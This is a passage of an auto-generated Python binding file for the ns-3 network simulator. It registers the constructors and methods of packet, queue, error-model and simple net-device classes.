is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbPacket::TlvBegin() [member function]
cls.add_method('TlvBegin',
'std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >',
[])
## packetbb.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbPacket::TlvBegin() const [member function]
cls.add_method('TlvBegin',
'std::_List_const_iterator< ns3::Ptr< ns3::PbbTlv > >',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbPacket::TlvClear() [member function]
cls.add_method('TlvClear',
'void',
[])
## packetbb.h (module 'network'): bool ns3::PbbPacket::TlvEmpty() const [member function]
cls.add_method('TlvEmpty',
'bool',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbPacket::TlvEnd() [member function]
cls.add_method('TlvEnd',
'std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >',
[])
## packetbb.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbPacket::TlvEnd() const [member function]
cls.add_method('TlvEnd',
'std::_List_const_iterator< ns3::Ptr< ns3::PbbTlv > >',
[],
is_const=True)
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbTlv> ns3::PbbPacket::TlvFront() [member function]
cls.add_method('TlvFront',
'ns3::Ptr< ns3::PbbTlv >',
[])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbTlv> const ns3::PbbPacket::TlvFront() const [member function]
cls.add_method('TlvFront',
'ns3::Ptr< ns3::PbbTlv > const',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbPacket::TlvPopBack() [member function]
cls.add_method('TlvPopBack',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbPacket::TlvPopFront() [member function]
cls.add_method('TlvPopFront',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbPacket::TlvPushBack(ns3::Ptr<ns3::PbbTlv> tlv) [member function]
cls.add_method('TlvPushBack',
'void',
[param('ns3::Ptr< ns3::PbbTlv >', 'tlv')])
## packetbb.h (module 'network'): void ns3::PbbPacket::TlvPushFront(ns3::Ptr<ns3::PbbTlv> tlv) [member function]
cls.add_method('TlvPushFront',
'void',
[param('ns3::Ptr< ns3::PbbTlv >', 'tlv')])
## packetbb.h (module 'network'): int ns3::PbbPacket::TlvSize() const [member function]
cls.add_method('TlvSize',
'int',
[],
is_const=True)
return
def register_Ns3PbbTlv_methods(root_module, cls):
cls.add_binary_comparison_operator('==')
cls.add_binary_comparison_operator('!=')
## packetbb.h (module 'network'): ns3::PbbTlv::PbbTlv(ns3::PbbTlv const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PbbTlv const &', 'arg0')])
## packetbb.h (module 'network'): ns3::PbbTlv::PbbTlv() [constructor]
cls.add_constructor([])
## packetbb.h (module 'network'): void ns3::PbbTlv::Deserialize(ns3::Buffer::Iterator & start) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::Buffer::Iterator &', 'start')])
## packetbb.h (module 'network'): uint32_t ns3::PbbTlv::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True)
## packetbb.h (module 'network'): uint8_t ns3::PbbTlv::GetType() const [member function]
cls.add_method('GetType',
'uint8_t',
[],
is_const=True)
## packetbb.h (module 'network'): uint8_t ns3::PbbTlv::GetTypeExt() const [member function]
cls.add_method('GetTypeExt',
'uint8_t',
[],
is_const=True)
## packetbb.h (module 'network'): ns3::Buffer ns3::PbbTlv::GetValue() const [member function]
cls.add_method('GetValue',
'ns3::Buffer',
[],
is_const=True)
## packetbb.h (module 'network'): bool ns3::PbbTlv::HasTypeExt() const [member function]
cls.add_method('HasTypeExt',
'bool',
[],
is_const=True)
## packetbb.h (module 'network'): bool ns3::PbbTlv::HasValue() const [member function]
cls.add_method('HasValue',
'bool',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbTlv::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbTlv::Print(std::ostream & os, int level) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os'), param('int', 'level')],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbTlv::Serialize(ns3::Buffer::Iterator & start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator &', 'start')],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbTlv::SetType(uint8_t type) [member function]
cls.add_method('SetType',
'void',
[param('uint8_t', 'type')])
## packetbb.h (module 'network'): void ns3::PbbTlv::SetTypeExt(uint8_t type) [member function]
cls.add_method('SetTypeExt',
'void',
[param('uint8_t', 'type')])
## packetbb.h (module 'network'): void ns3::PbbTlv::SetValue(ns3::Buffer start) [member function]
cls.add_method('SetValue',
'void',
[param('ns3::Buffer', 'start')])
## packetbb.h (module 'network'): void ns3::PbbTlv::SetValue(uint8_t const * buffer, uint32_t size) [member function]
cls.add_method('SetValue',
'void',
[param('uint8_t const *', 'buffer'), param('uint32_t', 'size')])
## packetbb.h (module 'network'): uint8_t ns3::PbbTlv::GetIndexStart() const [member function]
cls.add_method('GetIndexStart',
'uint8_t',
[],
is_const=True, visibility='protected')
## packetbb.h (module 'network'): uint8_t ns3::PbbTlv::GetIndexStop() const [member function]
cls.add_method('GetIndexStop',
'uint8_t',
[],
is_const=True, visibility='protected')
## packetbb.h (module 'network'): bool ns3::PbbTlv::HasIndexStart() const [member function]
cls.add_method('HasIndexStart',
'bool',
[],
is_const=True, visibility='protected')
## packetbb.h (module 'network'): bool ns3::PbbTlv::HasIndexStop() const [member function]
cls.add_method('HasIndexStop',
'bool',
[],
is_const=True, visibility='protected')
## packetbb.h (module 'network'): bool ns3::PbbTlv::IsMultivalue() const [member function]
cls.add_method('IsMultivalue',
'bool',
[],
is_const=True, visibility='protected')
## packetbb.h (module 'network'): void ns3::PbbTlv::SetIndexStart(uint8_t index) [member function]
cls.add_method('SetIndexStart',
'void',
[param('uint8_t', 'index')],
visibility='protected')
## packetbb.h (module 'network'): void ns3::PbbTlv::SetIndexStop(uint8_t index) [member function]
cls.add_method('SetIndexStop',
'void',
[param('uint8_t', 'index')],
visibility='protected')
## packetbb.h (module 'network'): void ns3::PbbTlv::SetMultivalue(bool isMultivalue) [member function]
cls.add_method('SetMultivalue',
'void',
[param('bool', 'isMultivalue')],
visibility='protected')
return
def register_Ns3Probe_methods(root_module, cls):
## probe.h (module 'stats'): ns3::Probe::Probe(ns3::Probe const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Probe const &', 'arg0')])
## probe.h (module 'stats'): ns3::Probe::Probe() [constructor]
cls.add_constructor([])
## probe.h (module 'stats'): bool ns3::Probe::ConnectByObject(std::string traceSource, ns3::Ptr<ns3::Object> obj) [member function]
cls.add_method('ConnectByObject',
'bool',
[param('std::string', 'traceSource'), param('ns3::Ptr< ns3::Object >', 'obj')],
is_pure_virtual=True, is_virtual=True)
## probe.h (module 'stats'): void ns3::Probe::ConnectByPath(std::string path) [member function]
cls.add_method('ConnectByPath',
'void',
[param('std::string', 'path')],
is_pure_virtual=True, is_virtual=True)
## probe.h (module 'stats'): static ns3::TypeId ns3::Probe::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## probe.h (module 'stats'): bool ns3::Probe::IsEnabled() const [member function]
cls.add_method('IsEnabled',
'bool',
[],
is_const=True, is_virtual=True)
return
def register_Ns3Queue__Ns3Packet_methods(root_module, cls):
## queue.h (module 'network'): ns3::Queue<ns3::Packet>::Queue(ns3::Queue<ns3::Packet> const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Queue< ns3::Packet > const &', 'arg0')])
## queue.h (module 'network'): ns3::Queue<ns3::Packet>::Queue() [constructor]
cls.add_constructor([])
## queue.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Queue<ns3::Packet>::Dequeue() [member function]
cls.add_method('Dequeue',
'ns3::Ptr< ns3::Packet >',
[],
is_pure_virtual=True, is_virtual=True)
## queue.h (module 'network'): bool ns3::Queue<ns3::Packet>::Enqueue(ns3::Ptr<ns3::Packet> item) [member function]
cls.add_method('Enqueue',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'item')],
is_pure_virtual=True, is_virtual=True)
## queue.h (module 'network'): void ns3::Queue<ns3::Packet>::Flush() [member function]
cls.add_method('Flush',
'void',
[])
## queue.h (module 'network'): static ns3::TypeId ns3::Queue<ns3::Packet>::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## queue.h (module 'network'): ns3::Ptr<ns3::Packet const> ns3::Queue<ns3::Packet>::Peek() const [member function]
cls.add_method('Peek',
'ns3::Ptr< ns3::Packet const >',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## queue.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Queue<ns3::Packet>::Remove() [member function]
cls.add_method('Remove',
'ns3::Ptr< ns3::Packet >',
[],
is_pure_virtual=True, is_virtual=True)
## queue.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Queue<ns3::Packet>::DoDequeue(std::_List_const_iterator<ns3::Ptr<ns3::Packet> > pos) [member function]
cls.add_method('DoDequeue',
'ns3::Ptr< ns3::Packet >',
[param('std::_List_const_iterator< ns3::Ptr< ns3::Packet > >', 'pos')],
visibility='protected')
## queue.h (module 'network'): bool ns3::Queue<ns3::Packet>::DoEnqueue(std::_List_const_iterator<ns3::Ptr<ns3::Packet> > pos, ns3::Ptr<ns3::Packet> item) [member function]
cls.add_method('DoEnqueue',
'bool',
[param('std::_List_const_iterator< ns3::Ptr< ns3::Packet > >', 'pos'), param('ns3::Ptr< ns3::Packet >', 'item')],
visibility='protected')
## queue.h (module 'network'): ns3::Ptr<ns3::Packet const> ns3::Queue<ns3::Packet>::DoPeek(std::_List_const_iterator<ns3::Ptr<ns3::Packet> > pos) const [member function]
cls.add_method('DoPeek',
'ns3::Ptr< ns3::Packet const >',
[param('std::_List_const_iterator< ns3::Ptr< ns3::Packet > >', 'pos')],
is_const=True, visibility='protected')
## queue.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Queue<ns3::Packet>::DoRemove(std::_List_const_iterator<ns3::Ptr<ns3::Packet> > pos) [member function]
cls.add_method('DoRemove',
'ns3::Ptr< ns3::Packet >',
[param('std::_List_const_iterator< ns3::Ptr< ns3::Packet > >', 'pos')],
visibility='protected')
## queue.h (module 'network'): void ns3::Queue<ns3::Packet>::DropAfterDequeue(ns3::Ptr<ns3::Packet> item) [member function]
cls.add_method('DropAfterDequeue',
'void',
[param('ns3::Ptr< ns3::Packet >', 'item')],
visibility='protected')
## queue.h (module 'network'): void ns3::Queue<ns3::Packet>::DropBeforeEnqueue(ns3::Ptr<ns3::Packet> item) [member function]
cls.add_method('DropBeforeEnqueue',
'void',
[param('ns3::Ptr< ns3::Packet >', 'item')],
visibility='protected')
## queue.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::Packet> > ns3::Queue<ns3::Packet>::Head() const [member function]
cls.add_method('Head',
'std::_List_const_iterator< ns3::Ptr< ns3::Packet > >',
[],
is_const=True, visibility='protected')
## queue.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::Packet> > ns3::Queue<ns3::Packet>::Tail() const [member function]
cls.add_method('Tail',
'std::_List_const_iterator< ns3::Ptr< ns3::Packet > >',
[],
is_const=True, visibility='protected')
return
def register_Ns3Queue__Ns3QueueDiscItem_methods(root_module, cls):
## queue.h (module 'network'): ns3::Queue<ns3::QueueDiscItem>::Queue(ns3::Queue<ns3::QueueDiscItem> const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Queue< ns3::QueueDiscItem > const &', 'arg0')])
## queue.h (module 'network'): ns3::Queue<ns3::QueueDiscItem>::Queue() [constructor]
cls.add_constructor([])
## queue.h (module 'network'): ns3::Ptr<ns3::QueueDiscItem> ns3::Queue<ns3::QueueDiscItem>::Dequeue() [member function]
cls.add_method('Dequeue',
'ns3::Ptr< ns3::QueueDiscItem >',
[],
is_pure_virtual=True, is_virtual=True)
## queue.h (module 'network'): bool ns3::Queue<ns3::QueueDiscItem>::Enqueue(ns3::Ptr<ns3::QueueDiscItem> item) [member function]
cls.add_method('Enqueue',
'bool',
[param('ns3::Ptr< ns3::QueueDiscItem >', 'item')],
is_pure_virtual=True, is_virtual=True)
## queue.h (module 'network'): void ns3::Queue<ns3::QueueDiscItem>::Flush() [member function]
cls.add_method('Flush',
'void',
[])
## queue.h (module 'network'): static ns3::TypeId ns3::Queue<ns3::QueueDiscItem>::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## queue.h (module 'network'): ns3::Ptr<const ns3::QueueDiscItem> ns3::Queue<ns3::QueueDiscItem>::Peek() const [member function]
cls.add_method('Peek',
'ns3::Ptr< ns3::QueueDiscItem const >',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## queue.h (module 'network'): ns3::Ptr<ns3::QueueDiscItem> ns3::Queue<ns3::QueueDiscItem>::Remove() [member function]
cls.add_method('Remove',
'ns3::Ptr< ns3::QueueDiscItem >',
[],
is_pure_virtual=True, is_virtual=True)
## queue.h (module 'network'): ns3::Ptr<ns3::QueueDiscItem> ns3::Queue<ns3::QueueDiscItem>::DoDequeue(std::_List_const_iterator<ns3::Ptr<ns3::QueueDiscItem> > pos) [member function]
cls.add_method('DoDequeue',
'ns3::Ptr< ns3::QueueDiscItem >',
[param('std::_List_const_iterator< ns3::Ptr< ns3::QueueDiscItem > >', 'pos')],
visibility='protected')
## queue.h (module 'network'): bool ns3::Queue<ns3::QueueDiscItem>::DoEnqueue(std::_List_const_iterator<ns3::Ptr<ns3::QueueDiscItem> > pos, ns3::Ptr<ns3::QueueDiscItem> item) [member function]
cls.add_method('DoEnqueue',
'bool',
[param('std::_List_const_iterator< ns3::Ptr< ns3::QueueDiscItem > >', 'pos'), param('ns3::Ptr< ns3::QueueDiscItem >', 'item')],
visibility='protected')
## queue.h (module 'network'): ns3::Ptr<const ns3::QueueDiscItem> ns3::Queue<ns3::QueueDiscItem>::DoPeek(std::_List_const_iterator<ns3::Ptr<ns3::QueueDiscItem> > pos) const [member function]
cls.add_method('DoPeek',
'ns3::Ptr< ns3::QueueDiscItem const >',
[param('std::_List_const_iterator< ns3::Ptr< ns3::QueueDiscItem > >', 'pos')],
is_const=True, visibility='protected')
## queue.h (module 'network'): ns3::Ptr<ns3::QueueDiscItem> ns3::Queue<ns3::QueueDiscItem>::DoRemove(std::_List_const_iterator<ns3::Ptr<ns3::QueueDiscItem> > pos) [member function]
cls.add_method('DoRemove',
'ns3::Ptr< ns3::QueueDiscItem >',
[param('std::_List_const_iterator< ns3::Ptr< ns3::QueueDiscItem > >', 'pos')],
visibility='protected')
## queue.h (module 'network'): void ns3::Queue<ns3::QueueDiscItem>::DropAfterDequeue(ns3::Ptr<ns3::QueueDiscItem> item) [member function]
cls.add_method('DropAfterDequeue',
'void',
[param('ns3::Ptr< ns3::QueueDiscItem >', 'item')],
visibility='protected')
## queue.h (module 'network'): void ns3::Queue<ns3::QueueDiscItem>::DropBeforeEnqueue(ns3::Ptr<ns3::QueueDiscItem> item) [member function]
cls.add_method('DropBeforeEnqueue',
'void',
[param('ns3::Ptr< ns3::QueueDiscItem >', 'item')],
visibility='protected')
## queue.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::QueueDiscItem> > ns3::Queue<ns3::QueueDiscItem>::Head() const [member function]
cls.add_method('Head',
'std::_List_const_iterator< ns3::Ptr< ns3::QueueDiscItem > >',
[],
is_const=True, visibility='protected')
## queue.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::QueueDiscItem> > ns3::Queue<ns3::QueueDiscItem>::Tail() const [member function]
cls.add_method('Tail',
'std::_List_const_iterator< ns3::Ptr< ns3::QueueDiscItem > >',
[],
is_const=True, visibility='protected')
return
def register_Ns3QueueItem_methods(root_module, cls):
cls.add_output_stream_operator()
## queue-item.h (module 'network'): ns3::QueueItem::QueueItem(ns3::Ptr<ns3::Packet> p) [constructor]
cls.add_constructor([param('ns3::Ptr< ns3::Packet >', 'p')])
## queue-item.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::QueueItem::GetPacket() const [member function]
cls.add_method('GetPacket',
'ns3::Ptr< ns3::Packet >',
[],
is_const=True)
## queue-item.h (module 'network'): uint32_t ns3::QueueItem::GetSize() const [member function]
cls.add_method('GetSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## queue-item.h (module 'network'): bool ns3::QueueItem::GetUint8Value(ns3::QueueItem::Uint8Values field, uint8_t & value) const [member function]
cls.add_method('GetUint8Value',
'bool',
[param('ns3::QueueItem::Uint8Values', 'field'), param('uint8_t &', 'value')],
is_const=True, is_virtual=True)
## queue-item.h (module 'network'): void ns3::QueueItem::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
return
def register_Ns3RateErrorModel_methods(root_module, cls):
## error-model.h (module 'network'): ns3::RateErrorModel::RateErrorModel(ns3::RateErrorModel const & arg0) [copy constructor]
cls.add_constructor([param('ns3::RateErrorModel const &', 'arg0')])
## error-model.h (module 'network'): ns3::RateErrorModel::RateErrorModel() [constructor]
cls.add_constructor([])
## error-model.h (module 'network'): int64_t ns3::RateErrorModel::AssignStreams(int64_t stream) [member function]
cls.add_method('AssignStreams',
'int64_t',
[param('int64_t', 'stream')])
## error-model.h (module 'network'): double ns3::RateErrorModel::GetRate() const [member function]
cls.add_method('GetRate',
'double',
[],
is_const=True)
## error-model.h (module 'network'): static ns3::TypeId ns3::RateErrorModel::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## error-model.h (module 'network'): ns3::RateErrorModel::ErrorUnit ns3::RateErrorModel::GetUnit() const [member function]
cls.add_method('GetUnit',
'ns3::RateErrorModel::ErrorUnit',
[],
is_const=True)
## error-model.h (module 'network'): void ns3::RateErrorModel::SetRandomVariable(ns3::Ptr<ns3::RandomVariableStream> arg0) [member function]
cls.add_method('SetRandomVariable',
'void',
[param('ns3::Ptr< ns3::RandomVariableStream >', 'arg0')])
## error-model.h (module 'network'): void ns3::RateErrorModel::SetRate(double rate) [member function]
cls.add_method('SetRate',
'void',
[param('double', 'rate')])
## error-model.h (module 'network'): void ns3::RateErrorModel::SetUnit(ns3::RateErrorModel::ErrorUnit error_unit) [member function]
cls.add_method('SetUnit',
'void',
[param('ns3::RateErrorModel::ErrorUnit', 'error_unit')])
## error-model.h (module 'network'): bool ns3::RateErrorModel::DoCorrupt(ns3::Ptr<ns3::Packet> p) [member function]
cls.add_method('DoCorrupt',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'p')],
visibility='private', is_virtual=True)
## error-model.h (module 'network'): bool ns3::RateErrorModel::DoCorruptBit(ns3::Ptr<ns3::Packet> p) [member function]
cls.add_method('DoCorruptBit',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'p')],
visibility='private', is_virtual=True)
## error-model.h (module 'network'): bool ns3::RateErrorModel::DoCorruptByte(ns3::Ptr<ns3::Packet> p) [member function]
cls.add_method('DoCorruptByte',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'p')],
visibility='private', is_virtual=True)
## error-model.h (module 'network'): bool ns3::RateErrorModel::DoCorruptPkt(ns3::Ptr<ns3::Packet> p) [member function]
cls.add_method('DoCorruptPkt',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'p')],
visibility='private', is_virtual=True)
## error-model.h (module 'network'): void ns3::RateErrorModel::DoReset() [member function]
cls.add_method('DoReset',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3ReceiveListErrorModel_methods(root_module, cls):
## error-model.h (module 'network'): ns3::ReceiveListErrorModel::ReceiveListErrorModel(ns3::ReceiveListErrorModel const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ReceiveListErrorModel const &', 'arg0')])
## error-model.h (module 'network'): ns3::ReceiveListErrorModel::ReceiveListErrorModel() [constructor]
cls.add_constructor([])
## error-model.h (module 'network'): std::list<unsigned int, std::allocator<unsigned int> > ns3::ReceiveListErrorModel::GetList() const [member function]
cls.add_method('GetList',
'std::list< unsigned int >',
[],
is_const=True)
## error-model.h (module 'network'): static ns3::TypeId ns3::ReceiveListErrorModel::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## error-model.h (module 'network'): void ns3::ReceiveListErrorModel::SetList(std::list<unsigned int, std::allocator<unsigned int> > const & packetlist) [member function]
cls.add_method('SetList',
'void',
[param('std::list< unsigned int > const &', 'packetlist')])
## error-model.h (module 'network'): bool ns3::ReceiveListErrorModel::DoCorrupt(ns3::Ptr<ns3::Packet> p) [member function]
cls.add_method('DoCorrupt',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'p')],
visibility='private', is_virtual=True)
## error-model.h (module 'network'): void ns3::ReceiveListErrorModel::DoReset() [member function]
cls.add_method('DoReset',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3SimpleChannel_methods(root_module, cls):
## simple-channel.h (module 'network'): ns3::SimpleChannel::SimpleChannel(ns3::SimpleChannel const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SimpleChannel const &', 'arg0')])
## simple-channel.h (module 'network'): ns3::SimpleChannel::SimpleChannel() [constructor]
cls.add_constructor([])
## simple-channel.h (module 'network'): void ns3::SimpleChannel::Add(ns3::Ptr<ns3::SimpleNetDevice> device) [member function]
cls.add_method('Add',
'void',
[param('ns3::Ptr< ns3::SimpleNetDevice >', 'device')],
is_virtual=True)
## simple-channel.h (module 'network'): void ns3::SimpleChannel::BlackList(ns3::Ptr<ns3::SimpleNetDevice> from, ns3::Ptr<ns3::SimpleNetDevice> to) [member function]
cls.add_method('BlackList',
'void',
[param('ns3::Ptr< ns3::SimpleNetDevice >', 'from'), param('ns3::Ptr< ns3::SimpleNetDevice >', 'to')],
is_virtual=True)
## simple-channel.h (module 'network'): ns3::Ptr<ns3::NetDevice> ns3::SimpleChannel::GetDevice(uint32_t i) const [member function]
cls.add_method('GetDevice',
'ns3::Ptr< ns3::NetDevice >',
[param('uint32_t', 'i')],
is_const=True, is_virtual=True)
## simple-channel.h (module 'network'): uint32_t ns3::SimpleChannel::GetNDevices() const [member function]
cls.add_method('GetNDevices',
'uint32_t',
[],
is_const=True, is_virtual=True)
## simple-channel.h (module 'network'): static ns3::TypeId ns3::SimpleChannel::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## simple-channel.h (module 'network'): void ns3::SimpleChannel::Send(ns3::Ptr<ns3::Packet> p, uint16_t protocol, ns3::Mac48Address to, ns3::Mac48Address from, ns3::Ptr<ns3::SimpleNetDevice> sender) [member function]
cls.add_method('Send',
'void',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('uint16_t', 'protocol'), param('ns3::Mac48Address', 'to'), param('ns3::Mac48Address', 'from'), param('ns3::Ptr< ns3::SimpleNetDevice >', 'sender')],
is_virtual=True)
## simple-channel.h (module 'network'): void ns3::SimpleChannel::UnBlackList(ns3::Ptr<ns3::SimpleNetDevice> from, ns3::Ptr<ns3::SimpleNetDevice> to) [member function]
cls.add_method('UnBlackList',
'void',
[param('ns3::Ptr< ns3::SimpleNetDevice >', 'from'), param('ns3::Ptr< ns3::SimpleNetDevice >', 'to')],
is_virtual=True)
return
def register_Ns3SimpleNetDevice_methods(root_module, cls):
## simple-net-device.h (module 'network'): ns3::SimpleNetDevice::SimpleNetDevice(ns3::SimpleNetDevice const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SimpleNetDevice const &', 'arg0')])
## simple-net-device.h (module 'network'): ns3::SimpleNetDevice::SimpleNetDevice() [constructor]
cls.add_constructor([])
## simple-net-device.h (module 'network'): void ns3::SimpleNetDevice::AddLinkChangeCallback(ns3::Callback<void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> callback) [member function]
cls.add_method('AddLinkChangeCallback',
'void',
[param('ns3::Callback< void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'callback')],
is_virtual=True)
## simple-net-device.h (module 'network'): ns3::Address ns3::SimpleNetDevice::GetAddress() const [member function]
cls.add_method('GetAddress',
'ns3::Address',
[],
is_const=True, is_virtual=True)
## simple-net-device.h (module 'network'): ns3::Address ns3::SimpleNetDevice::GetBroadcast() const [member function]
cls.add_method('GetBroadcast',
'ns3::Address',
[],
is_const=True, is_virtual=True)
## simple-net-device.h (module 'network'): ns3::Ptr<ns3::Channel> ns3::SimpleNetDevice::GetChannel() const [member function]
cls.add_method('GetChannel',
'ns3::Ptr< ns3::Channel >',
[],
is_const=True, is_virtual=True)
## simple-net-device.h (module 'network'): uint32_t ns3::SimpleNetDevice::GetIfIndex() const [member function]
cls.add_method('GetIfIndex',
'uint32_t',
[],
is_const=True, is_virtual=True)
## simple-net-device.h (module 'network'): uint16_t ns3::SimpleNetDevice::GetMtu() const [member function]
cls.add_method('GetMtu',
'uint16_t',
[],
is_const=True, is_virtual=True)
## simple-net-device.h (module 'network'): ns3::Address ns3::SimpleNetDevice::GetMulticast(ns3::Ipv4Address multicastGroup) const [member function]
cls.add_method('GetMulticast',
'ns3::Address',
[param('ns3::Ipv4Address', 'multicastGroup')],
is_const=True, is_virtual=True)
## simple-net-device.h (module 'network'): ns3::Address ns3::SimpleNetDevice::GetMulticast(ns3::Ipv6Address addr) const [member function]
cls.add_method('GetMulticast',
'ns3::Address',
[param('ns3::Ipv6Address', 'addr')],
is_const=True, is_virtual=True)
## simple-net-device.h (module 'network'): ns3::Ptr<ns3::Node> ns3::SimpleNetDevice::GetNode() const [member function]
cls.add_method('GetNode',
'ns3::Ptr< ns3::Node >',
[],
is_const=True, is_virtual=True)
## simple-net-device.h (module 'network'): ns3::Ptr<ns3::Queue<ns3::Packet> > ns3::SimpleNetDevice::GetQueue() const [member function]
cls.add_method('GetQueue',
'ns3::Ptr< ns3::Queue< ns3::Packet > >',
[],
is_const=True)
## simple-net-device.h (module 'network'): static ns3::TypeId ns3::SimpleNetDevice::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## simple-net-device.h (module 'network'): bool ns3::SimpleNetDevice::IsBridge() const [member function]
cls.add_method('IsBridge',
'bool',
[],
is_const=True, is_virtual=True)
## simple-net-device.h (module 'network'): bool ns3::SimpleNetDevice::IsBroadcast() const [member function]
cls.add_method('IsBroadcast',
'bool',
[],
is_const=True, is_virtual=True)
## simple-net-device.h (module 'network'): bool ns3::SimpleNetDevice::IsLinkUp() const [member function]
cls.add_method('IsLinkUp',
'bool',
[],
is_const=True, is_virtual=True)
## simple-net-device.h (module 'network'): bool ns3::SimpleNetDevice::IsMulticast() const [member function]
cls.add_method('IsMulticast',
'bool',
[],
is_const=True, is_virtual=True)
## simple-net-device.h (module 'network'): bool ns3::SimpleNetDevice::IsPointToPoint() const [member function]
cls.add_method('IsPointToPoint',
'bool',
[],
is_const=True, is_virtual=True)
## simple-net-device.h (module 'network'): bool ns3::SimpleNetDevice::NeedsArp() const [member function]
cls.add_method('NeedsArp',
'bool',
[],
is_const=True, is_virtual=True)
## simple-net-device.h (module 'network'): void ns3::SimpleNetDevice::Receive(ns3::Ptr<ns3::Packet> packet, uint16_t protocol, ns3::Mac48Address to, ns3::Mac48Address from) [member function]
cls.add_method('Receive',
'void',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('uint16_t', 'protocol'), param('ns3::Mac48Address', 'to'), param('ns3::Mac48Address', 'from')])
## simple-net-device.h (module 'network'): bool ns3::SimpleNetDevice::Send(ns3::Ptr<ns3::Packet> packet, ns3::Address const & dest, uint16_t protocolNumber) [member function]
cls.add_method('Send',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Address const &', 'dest'), param('uint16_t', 'protocolNumber')],
is_virtual=True)
## simple-net-device.h (module 'network'): bool ns3::SimpleNetDevice::SendFrom(ns3::Ptr<ns3::Packet> packet, ns3::Address const & source, ns3::Address const & dest, uint16_t protocolNumber) [member function]
cls.add_method('SendFrom',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Address const &', 'source'), param('ns3::Address const &', 'dest'), param('uint16_t', 'protocolNumber')],
is_virtual=True)
## simple-net-device.h (module 'network'): void ns3::SimpleNetDevice::SetAddress(ns3::Address address) [member function]
cls.add_method('SetAddress',
'void',
[param('ns3::Address', 'address')],
is_virtual=True)
## simple-net-device.h (module 'network'): void ns3::SimpleNetDevice::SetChannel(ns3::Ptr<ns3::SimpleChannel> channel) [member function]
cls.add_method('SetChannel',
'void',
[param('ns3::Ptr< ns3::SimpleChannel >', 'channel')])
## simple-net-device.h (module 'network'): void ns3::SimpleNetDevice::SetIfIndex(uint32_t const index) [member function]
cls.add_method('SetIfIndex',
'void',
[param('uint32_t const', 'index')],
is_virtual=True)
## simple-net-device.h (module 'network'): bool ns3::SimpleNetDevice::SetMtu(uint16_t const mtu) [member function]
cls.add_method('SetMtu',
'bool',
[param('uint16_t const', 'mtu')],
is_virtual=True)
## simple-net-device.h (module 'network'): void ns3::SimpleNetDevice::SetNode(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('SetNode',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_virtual=True)
